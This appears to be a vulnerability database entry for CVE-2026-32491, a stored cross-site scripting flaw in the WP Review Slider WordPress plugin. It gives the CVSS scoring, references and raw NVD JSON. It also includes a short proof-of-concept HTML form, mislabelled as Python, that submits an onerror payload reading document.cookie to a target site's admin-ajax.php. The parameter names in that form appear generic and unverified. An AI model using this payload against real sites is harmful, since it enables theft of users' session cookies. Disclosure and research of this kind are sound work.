CVE-2026-32491

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jgwhite33 WP Review Slider wp-facebook-reviews allows Stored XSS.This issue affects WP Review Slider: from n/a through <= 13.9.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Review Slider <= 13.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-32491 (Stored XSS)
Target: WP Review Slider <= 13.9
-->

<html>
<body>
<h2>WP Review Slider Stored XSS PoC</h2>
<form action="http://target-site/wp-admin/admin-ajax.php" method="POST">
  <!-- Vulnerable parameter injection -->
  <input type="text" name="review_content" value='<img src=x onerror=alert(document.cookie)>' />
  <input type="hidden" name="action" value="save_review" />
  <input type="submit" value="Submit Payload" />
</form>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32491
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32491
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32491/
[4] VulDB https://vuldb.com/cve/CVE-2026-32491
[5] https://patchstack.com/database/Wordpress/Plugin/wp-facebook-reviews/vulnerability/wordpress-wp-review-slider-plugin-13-9-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32491", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:00.693", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jgwhite33 WP Review Slider wp-facebook-reviews allows Stored XSS.This issue affects WP Review Slider: from n/a through <= 13.9."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en jgwhite33 WP Review Slider wp-facebook-reviews permite XSS Almacenado. Este problema afecta a WP Review Slider: desde n/d hasta <= 13.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-facebook-reviews/vulnerability/wordpress-wp-review-slider-plugin-13-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}